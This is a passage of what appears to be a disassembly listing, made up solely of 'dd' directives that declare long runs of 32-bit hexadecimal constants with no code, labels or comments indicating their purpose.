		dd 0D104048Ah, 0F810B1BDh, 93184E1Ch, 21696C53h, 0C0B50EEFh
		dd 2883A5ABh, 8780D8D6h, 6701A3F2h, 3CB86D06h, 93DC66F1h
		dd 0EEB2000Fh, 0D93AB674h, 5A006301h, 5762F080h, 0E61F0954h
		dd 106F3CA1h, 1D13991Eh, 350DFB8h, 91521A24h, 0C575C0F5h
		dd 7407E6B1h, 9F8BDE0Eh, 9A155470h, 0EF630265h,	82084D01h
		dd 3EAAECC0h, 0CFE9B50Eh, 70C04129h, 1065961Bh,	16E2BECh
		dd 1C3A40ADh, 8BBCD784h, 64693918h, 0D1CCB100h,	734318F7h
		dd 0E965035Ch, 8F0B3C08h, 4C8C4873h, 270AD766h,	9124E0B5h
		dd 1E6401F6h, 92290C7Eh, 96CF13F8h, 0DEF140C0h,	0B105639Bh
		dd 2555081Bh, 0C0F04F4h, 9C1FA628h, 1A5AEA10h, 1088BC22h
		dd 1B09A220h, 4D76F2D6h, 5913E068h, 0CE25EADCh,	8FC820E9h
		dd 7DAFEBB8h, 0A3400DFh, 2CE7DE6Dh, 0D4D9E8Ch, 3E620380h
		dd 9B0204Dh, 0E75F1799h, 5DEED844h, 0C0A7C532h,	8F66E11Fh
		dd 32C07C40h, 13209E60h, 0B2AC0ECEh, 762D2710h,	4E640064h
		dd 8C23080Bh, 0B0027A4Ah, 0AF947785h, 0B3C9588h, 0E35E8C7Ah
		dd 0E082FCDCh, 7E193090h, 4D27D613h, 36F0038h, 0DAFD7E51h
		dd 12D44407h, 1023202Eh, 0CB147607h, 11EB3010h,	0ED9E041Dh
		dd 0D093C799h, 373588FCh, 1EA6640Eh, 0D9CEC3D7h, 0A2940216h
		dd 0D01C9448h, 0A4647851h, 82BE6945h, 462B9F2Ch, 0B43FF834h
		dd 0B6CB8938h, 848554E4h, 0E76011C4h, 810E4610h, 0E4748529h
		dd 0CF5DFD86h, 1367AB80h, 4B5280F3h, 5D0B1D7Ch,	0A093C44Ah
		dd 0AEFC05A4h, 2CBB1Eh,	1C36CBCCh, 0B4B92A8Bh, 0CBB4E760h
		dd 22670033h, 0E2A6C9EBh, 83E9C793h, 0CA319921h, 9CF1AF23h
		dd 42601F10h, 219A60C8h, 7E560BF8h, 0A54E7900h,	3427E1F5h
		dd 4B0B67Dh, 1D02E71h, 518BFDDFh, 0B68DAC64h, 13474244h
		dd 8CB3B020h, 0BAA0211h, 0D0F6FD15h, 1C90A880h,	8F09F24h
		dd 4423D825h, 9AD70060h, 0CCC9A4FAh, 5700C0CAh,	58707EECh
		dd 33602h, 0DF4D2432h, 189B1FC7h, 73772016h, 0D43858C9h
		dd 0AB9627C1h, 9CC004BCh, 246C13CEh, 0A6B8F4AAh, 17C18470h
		dd 2E48392h, 1E84F3ACh,	0F4AEC6E4h, 0C53CE02h, 0E5AD00F7h
		dd 6858A78Eh, 40E9611Ch, 98782282h, 0C0FD8198h,	253E58B1h
		dd 111017FCh, 0C6A18098h, 2FD830FEh, 9C972103h,	46810311h
		dd 60B3A8CFh, 570B05ECh, 90F37589h, 4C7F5E50h, 0BE09B335h
		dd 3444FD6Bh, 60B0835Ah, 0BCEE001Bh, 8756CFA2h,	0AE05A57Ah
		dd 7EA5C31h, 79C6D8B1h,	8FDD91E8h, 0A010D234h, 0C89848B0h
		dd 8D8081D4h, 60668664h, 0E069E64h, 0DB480453h,	40750021h
		dd 0F7439446h, 2A01CAD9h, 609F2F80h, 86E0A58Fh,	20DB58CEh
		dd 38CF5E8h, 7547BC7Ah,	1900FC86h, 8973DAB8h, 3BC098h
		dd 11548EA1h, 0E86F7A7Dh, 0C0781225h, 59B2130h,	7E4C26C0h
		dd 7B94A0F7h, 0BDCA09Ch
		dd 70753A37h, 0B460106Dh, 11A6825Dh, 22C01F83h,	0F8EE00E5h
		dd 4BB49A5Fh, 1E322B3Ch, 71423CB9h, 0FE4F7198h,	93F9AC19h
		dd 4B2BA820h, 242C22A0h, 620D1331h, 3010E20Ch, 0CB015CEAh
		dd 92D22A41h, 94509DC7h, 1E800B96h, 434D8DD8h, 0E7235201h
		dd 0E06A69A0h, 4C0DCC00h, 0BEDF1D5Fh, 21EA251Ah, 7FBE6865h
		dd 0B020CE4Ah, 59FB50h,	0D85A07F3h, 0F61882Bh, 0CD1FD209h
		dd 0ABB4C1B6h, 0E908CA18h, 0C5F96866h, 14944051h, 0C3B7E9D3h
		dd 38DC194Dh, 68896387h, 9866C87Ch, 3CF001E5h, 0A0CD0D83h
		dd 78406A2Eh, 0D0046E20h, 12A49A50h, 0B003D692h, 0FD441A10h
		dd 31126547h, 72768025h, 490445A5h, 0D73310BAh,	0A4B994C4h
		dd 0AF05ACACh, 8DAA2AE4h, 0B31020E6h, 10071DBCh, 0FE6447C9h
		dd 0CB7316B4h, 0C0D888DCh, 204532DCh, 8409FF04h, 80B4D412h
		dd 6AB712BDh, 0F2FCE29Bh, 429930DCh, 837A0A00h,	47F0EED8h
		dd 8354BEF2h, 0A1264384h, 50D335D0h, 0F74574B8h, 0D6C81842h
		dd 0AC6A806Ch, 642C10B4h, 0BF4D3812h, 0D0D2285Ch, 25279CA0h
		dd 28E5E105h, 6F6395E4h, 2A934D88h, 10289E1Ah, 1E8D9E1h
		dd 0C5CDCFB6h, 226FD48Dh, 0B0624F2Ch, 0C821F719h, 741D1C32h
		dd 949C80BBh, 0F7D48211h, 8EDE1E3Ah, 6015A0C1h,	7EB7FD96h
		dd 0C1AE7301h, 1B084069h, 0DC2880h, 0DE10A81h, 17B1C7FEh
		dd 81224BC1h, 0D9682128h, 1E0068DCh, 0C219650Bh, 8073AD79h
		dd 833003A2h, 7FA7E244h, 6DF60002h, 8B9250FBh, 89EA472h
		dd 970A2808h, 3D5B063Ch, 74968098h, 2511465Eh, 1CD4C8D9h
		dd 27387366h, 180D41CFh, 402F2E69h, 0F007F623h,	0BB00687Dh
		dd 92C49D81h, 0CABD0FFCh, 584BF62Fh, 0F5990880h, 4B2574B4h
		dd 7D0E425h, 81973140h,	0C39E148Fh, 0F0097FA0h,	78EC5393h
		dd 50676760h, 40C8F5DAh, 6F07CEC0h, 3D49EFA2h, 80120494h
		dd 44E09B69h, 0BECB40B0h, 5ACF0712h, 92430E0h, 0FD200DDBh
		dd 39601C4Dh, 9C0DF8Ah,	0D74345D2h, 60BF8484h, 2322E9D6h
		dd 0F91BD968h, 0E9DF8021h, 3A0A0E6Dh, 8FE0D05Ch, 1A6560F4h
		dd 0B0325430h, 25BFFF73h, 30C7A264h, 3463F944h,	0F43FE8B1h
		dd 0E0339A3h, 0D8130873h, 7600B16h, 8040B7F5h, 0F4302A5Ch
		dd 0FE271837h, 3DA640ABh, 95AEB13Ah, 5E80B441h,	9123082Fh
		dd 84267301h, 80704D2Fh, 0A0741239h, 0C3683127h, 3013D765h
		dd 78B55677h, 0A8B25CD0h, 0B9213BD8h, 18117960h, 9FA203ACh
		dd 0A5F95598h, 0A45E36DAh, 218C079Eh, 282E8B8h,	0D7E17022h
		dd 0E446AFA7h, 67079246h, 0F527D07Eh, 80FCA2E0h, 0F27E1F65h
		dd 80AC99F0h, 0E5D31DE6h, 0E90673F6h, 0BC855B96h, 178881D0h
		dd 0E4077C24h, 799899FCh, 551889h, 1D9F138Ah, 0FA834B5Dh
		dd 22817205h, 0CC8299E1h, 242C20BCh, 20B28F14h,	683D9327h
		dd 491C265Ch, 6C4C980Eh, 7C356F10h, 41F92A30h, 6DEE1Dh
		dd 2D2042E9h, 0CA9F28A9h, 1F9E810Eh, 93FEE20Fh,	22244892h
		dd 3A9C41E4h, 5300606Eh, 676CC0CBh, 41EDF34h, 0AE00CE77h
		dd 0C8EB2FD0h, 2817124Ch, 80C8C520h, 0ABA94704h, 0AA6D9E0Eh
		dd 932A021Ch, 0EE2B412Dh, 0BCD08821h, 65790113h, 73C75CB1h
		dd 3730809Eh, 822CD7DEh, 77111112h, 28F2285Dh, 50CF2084h
		dd 0F018FB47h, 6BB0C0h,	4F5BB35Dh, 2027BBB6h, 0D7676107h
		dd 9493C278h, 8469056Dh, 83C4C3h, 0FB9FFF08h, 618A76C6h
		dd 0F4DCEA66h, 0A24F19E3h, 87A509ECh, 0EAEE2D21h, 86A1C17Eh
		dd 98C0F418h, 0A884007Eh, 3A5123C8h, 58C8A4B7h,	0EABDC0FAh
		dd 0BB46F479h, 36018E22h, 0AAA8EAB5h, 98FB3955h, 60C7FC17h
		dd 7A58219Fh, 0B1E27159h, 0A14A4C00h, 2033C434h, 0A4B40082h
		dd 48ACBFF4h, 0A330B56Dh, 4E7EE1A2h, 28120165h,	1FAF8251h
		dd 0B8089839h, 666121h,	469A065h, 57C00A23h, 0C42BB13Eh
		dd 0C0ED52ADh, 9F2D307Ch, 0FCF8E419h, 0F1B05250h, 6C224611h
		dd 0AF47710Eh, 526107D0h, 0B016A1B5h, 0A8960F39h, 0C380CE04h
		dd 6761BC7h, 0B959F00h,	0C02E37A6h, 29B1185Dh, 0BC3E31A7h
		dd 180D8F01h, 2A0CE83Ah, 5D01C1BEh, 9AC5C1B4h, 6318208Fh
		dd 5030B128h, 2D4C761Dh, 47676E03h, 48913B46h, 0D0B3FC80h
		dd 721F2CCCh, 0F15D7A02h, 49564E3Fh, 2D109B48h,	7A01087Bh
		dd 578EB969h, 4EC8E1BCh, 10F21293h, 88102677h, 0F9AE0B0Ah
		dd 2B44949Fh, 0A0183F23h, 0CB11AFA4h, 81C20EE3h, 8B652F14h
		dd 63DD0070h, 9F379B22h, 0B6058C90h, 81A82BC4h,	586AEC01h
		dd 3021A77Ch, 75E8F801h, 3B292000h, 71E33Eh, 2CDD9EB3h
		dd 5A29BE0h, 0DC7AD97h,	2AC840A0h, 0B3A18317h, 7B4CA350h
		dd 0A950EC24h, 23C24030h, 248949A4h, 0C4382828h, 237F7418h
		dd 0B821D46Ch, 40A008AEh, 24F8EDA6h, 46D7840h, 0B3E83069h
		dd 0ABD4889Bh, 0BBF82B01h, 2778DB97h, 2489AA0h,	3EEA5E46h
		dd 1C06153h, 0C0ABDC3h,	0ACA81FAEh, 21A12C42h, 0F0CC4C3Eh
		dd 0A265D56Fh, 80FF7E21h, 83072767h, 0BA1F793Fh, 21C07582h
		dd 7AE1FCDFh, 200A0342h, 911858F4h, 280BB81Ch, 4E7549h
		dd 0A7E02D68h, 98A4A33Fh, 58FD17B1h, 0C00CC592h, 42183E6Bh
		dd 9C8C1A48h, 5D9F2181h, 1180AA46h, 0B7B6764Bh,	990C62C4h
		dd 8632CA2h, 6B21C058h,	0D021B66Eh, 8211CE1Fh, 0D6A7F640h
		dd 12B92292h, 202A46A3h, 308C85A8h, 91C68077h, 579B0D5h
		dd 26B60391h, 0FC1DC008h, 2A01BD23h, 135CC71Bh,	0C440727Ch
		dd 0C0AE474Fh, 0D9E2CD79h, 7E0376C9h, 54E924B2h, 29680F56h
		dd 0B6CCC7B5h, 0D81CC228h, 39704765h, 0E21DCh, 4A28E1BBh
		dd 1E30FAC6h, 0B8C2B51Dh, 0B22C5905h, 0E201A41Dh, 0A9CA4775h
		dd 0B7B41888h, 617AD281h, 31F093BAh, 0E2A644C8h, 6437EB00h
		dd 0C430F4B6h, 58A68385h, 0C92A6F00h, 8801EC77h, 531D2810h
		dd 0A31F13D0h, 0F85021A0h, 0B12D137Bh, 80249567h, 31A0A88Ah
		dd 0F12800A1h, 0CBD587B8h, 7A0048CEh, 0BCF072CDh, 189CAD3Eh
		dd 306A36A1h, 0D00A325Eh, 0E714E498h, 5195C00h,	70243EDh
		dd 0BE458B67h, 9628B09Dh, 8A18BF6Dh, 0BD2033B8h, 0BC04007Fh
		dd 323752F0h, 9650B798h, 0A100DACCh, 0CAEFD1E7h, 7F7535h
		dd 0FF6852BCh, 300254ECh, 0E91CC100h, 0B1C31126h, 231F06D0h
		dd 58F82739h, 36220400h, 0D2F00B5Dh, 8D9A0092h,	535ED6C8h
		dd 721D877Fh, 144337F7h, 8F968A97h, 38ABEE90h, 403F0184h
		dd 17ECCB54h, 3B0DF035h, 9C715C03h, 9E94AD79h, 73ED3860h
		dd 3F8BE681h, 0C4A37583h, 0FC00D9D4h, 0DAF86A34h, 0AB29669h
		dd 0AC83E78h, 0C0161CD7h, 57E8C37Ch, 8107F7A3h,	0DA48947Fh
		dd 2551930h, 0FA73F5h, 0A33D25A8h, 54EFBBC0h, 581D40DFh
		dd 660835C6h, 9E910681h, 203F1883h, 735BB518h, 64318h
		dd 480E9C13h, 9FAA889Dh, 5520621Eh, 0C04E174Eh,	0CE727DA9h
		dd 0F00460D3h, 450227E5h, 1C7A58C7h, 0FEC4EB50h, 9B500097h
		dd 56AA5F0Ah, 7D0037C7h, 0BFC957C1h, 0BD55B9h, 0B66A5EEEh
		dd 7A06C3B8h, 87FF5098h, 73C16D28h, 4FA0D1D0h, 598C03F2h
		dd 204BAD78h, 55D22000h, 24E522C0h, 49D600D3h, 6691D5BCh
		dd 0C4007B2Bh, 29D9843Dh, 1D36E3F5h, 0E2875F9h,	5B807621h
		dd 79C90B10h, 3B1E292Ch, 0CDF9173Ah, 4DFF01BEh,	0E04C9144h
		dd 661E3DB3h, 5B01A1CFh, 0ACD073EFh, 10809EE9h,	0B36417E7h
		dd 8E01F219h, 0F35556Dh, 90870CE5h, 10BB6B1Dh, 7A718F2Dh
		dd 0CE89A100h, 37C8D143h
		dd 0F50C0028h, 1E97CBA8h, 0C37A14B0h, 7DC4D70Eh, 72DA860Dh
		dd 8C2F7E11h, 0BD0FB902h, 29A4E0h, 0D1AB0CBAh, 0D27A41C6h
		dd 47D5360h, 0D0B0AA0Ch, 0C9712C10h, 21D67530h,	0BF61E72h
		dd 0D35B4B18h, 80BBB06h, 9421FA60h, 196F61Fh, 0C1DBACF2h
		dd 887F4D01h, 0B8A3E469h, 0C3735103h, 2F989384h, 0B5073D0Eh
		dd 2C8E6D3Bh, 973231D0h, 0AAED1839h, 0BF2899CCh, 4FB95101h
		dd 47D6EE75h, 21E00998h, 5007C708h, 0DEAFA2FBh,	9C029010h
		dd 8504289Dh, 11C37474h, 91CF58h, 0C18DBADDh, 192D960Bh
		dd 895F233h, 0BD2180D9h, 0DC898DC2h, 88E60025h,	821E4BA6h
		dd 176358ADh, 6BEF79h, 0A2E99461h, 0F58249C9h, 9B09B5EAh
		dd 802F5514h, 7887388Ch, 7A430379h, 7C671365h, 0F9FF3AA0h
		dd 6F077205h, 7820BF39h, 101F520Dh, 0B0F16550h,	152150Ah
		dd 0C944984Bh, 0BA89F09Ch, 0BB368089h, 7BC265B0h, 0ED1B0134h
		dd 0E8ECC95Ah, 0F4A0C398h, 710A9012h, 8856D2C8h, 0BB8DBCC0h
		dd 2CC6210Bh, 0CB00D891h, 0A8A08DC3h, 8CE013C5h, 7C9E4A02h
		dd 3C8F952h, 0A1001DAFh, 0A72B6DF8h, 4D5DCh, 0CC3A4AEFh
		dd 7836ACFEh, 6335E900h, 8A02570Ah, 6ED80A79h, 0C0801639h
		dd 501E51C0h, 0B874D43h, 280DE0C8h, 0F700E111h,	0CA69F671h
		dd 978B33Bh, 0F4B81A97h, 2BC3A025h, 7F2374h, 68869BC7h
		dd 0ED60AE19h, 5E4ED2E1h, 54330412h, 80A063EAh,	0D04FAD30h
		dd 0EB1921C3h, 9A490673h, 183651ACh, 0C74949C4h, 29130054h
		dd 0AF604907h, 0B5D82810h, 1C26D100h, 68D51FA5h, 8A100323h
		dd 0A64994BCh, 7078B8C0h, 0BE631974h, 3AA69h, 6F539A49h
		dd 0C435A654h, 60CC7B0Fh, 0C3EF206Eh, 2D39741h,	0BB7D51CAh
		dd 0F84833F0h, 2500CFD7h, 76C70423h, 74D1ACCCh,	2824FD75h
		dd 25170078h, 0AF4BD93Bh, 0E1DFCDEEh, 6005F3CAh, 6E001811h
		dd 50CE6270h, 660B96BBh, 876C68DDh, 6500E7BDh, 3AAC3904h
		dd 316A4D4Bh, 0E3465EF4h, 716CDD00h, 694499EAh,	86D45D01h
		dd 0E6FF1E5Eh, 0E3F22823h, 2CF230h, 0CC31F965h,	87D74613h
		dd 52F51900h, 333C15D8h, 0AA350901h, 909FC7DEh,	0C180FF11h
		dd 4A381841h, 351C8B70h, 68ECCD10h, 0BE048F11h,	0D1ABEA52h
		dd 484CAD60h, 6E54EFB0h, 4100B4CCh, 5D8BE411h, 180BE53Eh
		dd 2959AFE6h, 0D441EF19h, 321DE0h, 33C52668h, 6DB4604Eh
		dd 88804B24h, 29ADE48Ch, 1EEF2E2h, 0D3ACC6BFh, 0F4138E67h
		dd 0E100DDF6h, 0E36FFD3Ah, 0C8A660E9h, 23C0C8F8h, 214BCFF6h
		dd 898D573h, 5C8BD1h, 6C015F6h,	0C6FF0A5Bh, 7C91D4A6h
		dd 2A191B71h, 28249F13h, 0C96A2680h, 48130E97h,	298047A6h
		dd 4D6C41CCh, 0DFD4AB03h, 2392ED71h, 0C820BCB8h, 134BBB16h
		dd 976838h, 1F7EF658h, 6DAD5303h, 0D3C74642h, 0F64D816Eh
		dd 0DA9B70AEh, 0D5051E74h, 1D980D0Ch, 0E4CD24C0h, 4331C1A8h
		dd 0E03B565Dh, 9AE0203Ch, 70E3F7FAh, 0B78AD658h, 71218060h
		dd 7F7C48EBh, 8F65281Ch, 0CAAA6106h, 0A9F424D1h, 40840019h
		dd 55271E99h, 0D876E20Fh, 8ED958EFh, 7B9007AEh,	10BC0DA6h
		dd 0F2D527F0h, 0FAC2FCA7h, 0EBAF18C8h, 0E602B173h, 0AA937732h
		dd 0DD0C4806h, 436B004Ah, 0B9351453h, 0C002FCFh, 75A8B65Dh
		dd 4EF1FF6h, 19C213F1h,	0EDD0C8ACh, 7160C47Ch, 0B95823B1h
		dd 1C257CCAh, 40ACAB15h, 191669A7h, 85164FBAh, 80C32EEh
		dd 60AA4181h, 0FBDC8102h, 0E009223h, 7230633Fh,	0A4D045h
		dd 3DCCBD1Dh, 0B5C7F676h, 2C1A370Fh, 600200E9h,	693213h
		dd 0C2011419h, 72B9122Bh, 2D4CA998h, 0FCF400F4h, 0A8E89B70h
		dd 9F4B069h, 14166742h,	0EEF3C002h, 7315A482h, 11F62218h
		dd 88BB4B1Ch, 0B49894FBh, 6880013Bh, 543B284Fh,	3804122Fh
		dd 2979E350h, 3680C89Bh, 32341EE0h, 8017B038h, 2172B12Ah
		dd 0F6664A62h, 0BD4B162Fh, 0E3A01E33h, 0C8E1D07h, 192B3E12h
		dd 981413D3h, 115A68Dh,	55012FB1h, 913593C2h, 33805B48h
		dd 4E0C0A8Eh, 0E67A448Ch, 38DBB00h, 0CBC1323Ch,	0EEDA16FBh
		dd 6F5C5359h, 9720064h,	1B69A144h, 8CC502FBh, 1CAFEA86h
		dd 3F5CD200h, 36C5838h,	0E58B733Bh, 2C874CA1h, 17B9F014h
		dd 67E8E4FFh, 0DF0E8C93h, 0B729A452h, 0CF51D8D1h, 8BB61910h
		dd 801DD1CBh, 4FE3021Ch, 0A2853E03h, 7D50D705h,	196421C1h
		dd 1704C425h, 0E981458Ch, 4D8BFCC1h, 80B28D01h,	48014209h
		dd 0AAE47441h, 8083719Fh, 436AD5C2h, 2500D664h,	93560A31h
		dd 0B8527D92h, 0EFFE44C0h, 23418360h, 7220F836h, 0DE1B0094h
		dd 305A006h, 0EC0002E5h, 0CF6F8AAEh, 527D4B66h,	1D015CC5h
		dd 0F6EE6925h, 0C2000B75h, 452B25C4h, 0F03AE182h, 54DA92F8h
		dd 2AADD488h, 19CCBEEh,	133D7C68h, 22C8F867h, 0CEA8F71Ch
		dd 0F1104560h, 981C4281h, 6D45DAAAh, 9422884Ah,	0BB0D25ACh
		dd 0C242A480h, 0F7361EA4h, 0B446433Ah, 0E82368EEh, 251801C4h
		dd 58BF0426h, 79887BD0h, 0BC2500C0h, 0CFFB6F36h, 1B29E70Bh
		dd 0CB80CC34h, 3F18ED83h, 63C4389Ah, 449C3600h,	0BDF59EDBh
		dd 0E4CC7224h, 80D6C981h, 62CCE5F0h, 4D19048Fh,	0B1B8C1EAh
		dd 6CE4306Ch, 731779C4h, 7FACC8h, 0CA485EBDh, 0E89F6E90h
		dd 0F70C8900h, 0AE85CBDCh, 9EB5094Fh, 7C13AB18h, 0A1D1A9A8h
		dd 3B0FD7F4h, 0C0C7DB98h, 1931396Bh, 0A4FE17E0h, 2F800401h
		dd 7D7C8826h, 0C82CC839h, 7A9D10CCh, 88B80C94h,	24D8EC8Ch
		dd 409CEDADh, 38C31468h, 0DCFA4879h, 5E254898h,	0D5C42072h
		dd 991EF7h, 49A9E954h, 0D39C39C2h, 0D4F4CA3Fh, 67006FB4h
		dd 0DC1EC42Dh, 128DB154h, 802A6249h, 0A6C29E84h, 29D24A00h
		dd 91437455h, 0F08E0FD1h, 5E8C4F73h, 49F4CE29h,	6712C774h
		dd 58305633h, 0B14C016Dh, 0E417009Ch, 4AEA19BAh, 3997330Bh
		dd 14E030E2h, 5948B052h, 0E588E0ADh, 50BC0780h,	2DB7B2Dh
		dd 356A17F5h, 8890AFA8h, 100FADDh, 0A14D8FB1h, 79F954DBh
		dd 3EF8A872h, 0BC020006h, 0C0E4FA03h, 6A7D6C0Dh, 0C7139514h
		dd 5E6E00EFh, 0B7D93D18h, 6D7C1450h, 584CDF39h,	0E7531400h
		dd 0B8ADF217h, 2ABC1609h, 6ADC208Fh, 1DC93AB6h,	2AAC1794h
		dd 1DCE1CC0h, 0A6A6FAh,	8DAEBBCFh, 1C07B9F0h, 7F37C148h
		dd 703C5C41h, 0EAF4D4E8h, 4CB60394h, 0E00E1AD2h, 0E8B7DBA9h
		dd 0D2EFD49h, 0A02582F7h, 0E6291760h, 116F60EEh, 9209D368h
		dd 81487C70h, 25AE000Ch, 0DA91FC96h, 79D02C46h,	28C707A6h
		dd 0A5F88342h, 0E6FD1100h, 0D347B864h, 9C08E819h, 0C78E1D08h
		dd 0FADECF43h, 767504h,	0DA1386BDh, 14470D4Dh, 9E186360h
		dd 926D83h, 0BCAD28AAh,	6FCDA2Ch, 3185100h, 0C41F463Fh
		dd 413A0FE3h, 47E09675h, 0B2EB56ADh, 0BC0E8B60h, 15D3Fh
		dd 0BE7DFECDh, 61320F1Dh, 0F4413CA1h, 4C0066DDh, 44555D7Ah
		dd 0C7E1602Ah, 0B0FCEE20h, 49BB2905h, 0DB794C00h, 20BE0BE0h
		dd 36AEE47h, 5FE28B7Dh,	51006639h, 59B1C676h, 0F087465h
		dd 6DB7E6A1h, 97CB1B47h, 6953903Dh, 900B5A7Eh, 8C6AE1F7h
		dd 30B211BDh, 32883DFEh, 8DF213D9h, 0F40044F8h,	6BD6CD28h
		dd 60F29B8h, 5D936C5h, 1415203Ch, 1898D1B5h, 889408Fh
		dd 0A6BD00A3h, 0ED6432B0h, 0DB672907h, 709CA238h, 0DF25302Ah
		dd 0C53DBDE8h, 72E89D00h, 0DA982CA3h, 4E0D0CD9h, 68118E5Ah
		dd 1906502h, 0A91636D1h, 94103D4h, 0EFE1D0B2h, 9BAD1444h
		dd 0FB0FB8B9h, 65E7CDE6h
		dd 0C0C0C422h, 0A05FC857h, 4A917E05h, 7413F38Eh, 1C80918h
		dd 0B33C000Dh, 0D562E9FBh, 0DA098C0Ch, 0E42FB9h, 7AFAC714h
		dd 0B31400F7h, 0E970CE42h, 3F3C1ABEh, 254E8066h, 69EFC5D2h
		dd 0C11C0092h, 0F285826Eh, 0A3007DE0h, 0E36BDF88h, 1E3356BBh
		dd 30E17A8Ah, 0D22E1F18h, 202B3074h, 646E20C6h,	81012E68h
		dd 0D07E84E5h, 0C1EE2F25h, 56A32300h, 82892847h, 1F240086h
		dd 426E1EF5h, 2301A530h, 7004A7B0h, 620E7E71h, 28681281h
		dd 0C0794514h, 0D4343015h, 0A8072D7Bh, 3A17F876h, 88754490h
		dd 0FF2C0029h, 7B8327FCh, 942A5FEEh, 8C53481h, 8002C7BEh
		dd 35E05A87h, 0EF0A0A1h, 5AB71C8Dh, 40F58043h, 0AD3EEB19h
		dd 0C300254Dh, 0E7CE2Ah, 326CC710h, 248E5D40h, 0E092D802h
		dd 40416939h, 0F2CD2A10h, 0BC430650h, 283FC510h, 22D7E022h
		dd 71423B8Ch, 51372619h, 5C14424Ch, 88953510h, 0AC8B2968h
		dd 118A3821h, 86119499h, 0D934112Ch, 128C3211h,	4886123Dh
		dd 3045283Eh, 0FB6FCECh, 0FD60E6FFh, 518848E0h,	54079D2Dh
		dd 873B504Ah, 90A75633h, 13424E5Eh, 7640FEDh, 839D5F0Ah
		dd 10DE24ECh, 745C6800h, 8766B6CEh, 85FA0052h, 5E53A8BDh
		dd 0B7008EC4h, 0C6A34116h, 7829905h, 0E8AA08DDh, 92CE81DBh
		dd 46B8F3C9h, 34307023h, 0F4B130AFh, 581C0078h,	8BFFB47h
		dd 8F009907h, 1A4903EAh, 1E90EB6Ah, 21A4ECh, 44454EC0h
		dd 74004D12h, 0C90993D8h, 0F66B91h, 79A63742h, 19968695h
		dd 3DCECD00h, 0BD937DC2h, 42E44Eh, 0FDFAE82h, 0D4944F06h
		dd 3179A700h, 686DA0DEh, 0CF7C34h, 0E68D3776h, 62C4B804h
		dd 9C270900h, 0AD7BA185h, 3D5BE010h, 0F68F1B87h, 3F602FEEh
		dd 39D48BDh, 4B024Ch, 9F7FDAB4h, 0A15C70h, 5D142EF8h, 0CAD7BBA8h
		dd 0C6026D00h, 0B453ECE2h, 0F18D0086h, 4D684E22h, 611CE76Fh
		dd 1D807BB7h, 7A776B0h,	0BC163D47h, 9FB82083h, 0EE00DB5h
		dd 7A0083D1h, 0A15B3C88h, 1C7D3182h, 40444EAEh,	0D6345E1Ch
		dd 880052E1h, 0E4A17149h, 1C93277h, 0DCC6535Fh,	0CC585787h
		dd 0D13FD837h, 0BB1F0062h, 0DD2E6BC1h, 0CC0400A9h, 19A2B695h
		dd 9900096Eh, 21B9BAB4h, 8BC523h, 1220E80h, 0F2768F69h
		dd 0DA710504h, 0A7C0D4E9h, 0F69365h, 249237BEh,	390D8764h
		dd 5E54B500h, 6B19A338h, 0EE7A00F0h, 0D16E47E1h, 5BEAA2AAh
		dd 3903D090h, 0BEB2A8C0h, 45E3E9F6h, 138393F0h,	70F959Fh
		dd 219E8169h, 0FCD42144h, 39E8A5BDh, 0D2033B7Eh, 3264E38Bh
		dd 3DA68828h, 0ED680FA0h, 0B6F9CB7h, 815051A0h,	7DF80852h
		dd 0EB605500h, 7E10EF58h, 9D4E31F1h, 0F02DC830h, 46001129h
		dd 3256370Bh, 1DE185Dh,	220D8F87h, 20DABDCAh, 57E6E024h
		dd 42488201h, 24A03745h, 7BBF3E0h, 20ABB373h, 0DB8640E7h
		dd 0B00BD30h, 91686F4Fh, 13233EDh, 0EADD81E5h, 0F04DDC71h
		dd 8C7A1637h, 9FA414A0h, 51CEDD00h, 0EAEFE09Ah,	64E3AF6h
		dd 16FB3000h, 0AC0545EEh, 0D613A02h, 692719E7h,	0B1D07D74h
		dd 0F1B6007Eh, 0CA5B6C69h, 1A751D6Ah, 0F646710Dh, 84F9C0CBh
		dd 0EC2FA8C0h, 600A00C5h, 63BE44CEh, 4F02C087h,	590426F7h
		dd 0B9F8806Fh, 18F140h,	2C817DD4h, 3DE110CBh, 0A9580407h
		dd 73D2643Ah, 7B74407Fh, 32201FC2h, 0F6ED81A1h,	31CE8BCDh
		dd 0A99FF8C0h, 54958101h, 513D0B12h, 0F147C8h, 0B4CC226Bh
		dd 0C1D11423h, 198BB3Ah, 271A19Ch, 0CAD075A9h, 42EA24h
		dd 2251C60Fh, 6E729F76h, 8BAD0100h, 2BF8CA2Ah, 914E2671h
		dd 788C0234h, 0F040EB43h, 0E00A230h, 25892D02h,	341D5A3h
		dd 0CF29D00Fh, 97E3188Ch, 0D3F4CDE0h, 1242ED00h, 0F9A26B87h
		dd 6AD8384Bh, 390C0880h, 0CED77462h, 769BE13Ah,	3E003A90h
		dd 86DD1D67h, 0E2E9E5F0h, 95EB07C6h, 0CFB5D6B3h, 40C0753h
		dd 0F5CA0CFh, 1628F5A0h, 0BB00DEA5h, 6DDA9D05h,	0F8E728h
		dd 43DD5697h, 8747ECCCh, 89C4B500h, 916D6178h, 0D5963EE3h
		dd 0BAA77983h, 200388B1h, 0CE82BB32h, 0E73FF0BCh, 99B0038h
		dd 0B16ACC0Ah, 0FC00B828h, 39C8E02Ah, 7A233765h, 0E70C0056h
		dd 22BFCBAAh, 0DF3A731Fh, 1AEC0001h, 0F394749Ch, 89D01BEh
		dd 4E3516Fh, 0AD9EE0E4h, 0E59A4818h, 74E1B10h, 53D06601h
		dd 0B60723DAh, 6BA35880h, 0B9716503h, 0F8434EDDh, 54C8F0h
		dd 0D3B7E89Fh, 582A3CAh, 190ACD00h, 0C42763D5h,	0D8410096h
		dd 636453Dh, 860A146Bh,	0B2E168C0h, 1525F201h, 93D8B3BEh
		dd 0F68B006Ch, 3B47F6Eh, 90006D92h, 348A0425h, 7A1A011h
		dd 0F0445BC6h, 0A2B38019h, 0AE0064ABh, 0CA04E138h, 72683D86h
		dd 8ABE00BDh, 48B1900Dh, 0DD00E270h, 0EE65ED63h, 1C4E0556h
		dd 0B0FEFAh, 994BD96Ch,	0D73F2D1Ch, 0D0118088h,	3A12A976h
		dd 36BF001Dh, 681E739h,	4D075D8Ah, 0B9C250C7h, 806353B3h
		dd 1DD547Dh, 94ADF987h,	0C8C04473h, 56181EC9h, 2778DAACh
		dd 1CB403D7h, 0A7E66F4h, 0C4A671A8h, 6E684002h,	48D34994h
		dd 30A74CE8h, 0FE39840Eh, 0D200EEA4h, 58C9EC6Fh, 50B721h
		dd 2FB5B3F2h, 0B1A7A59Dh, 64FC071Ch, 0C2E84241h, 0DB61904Ah
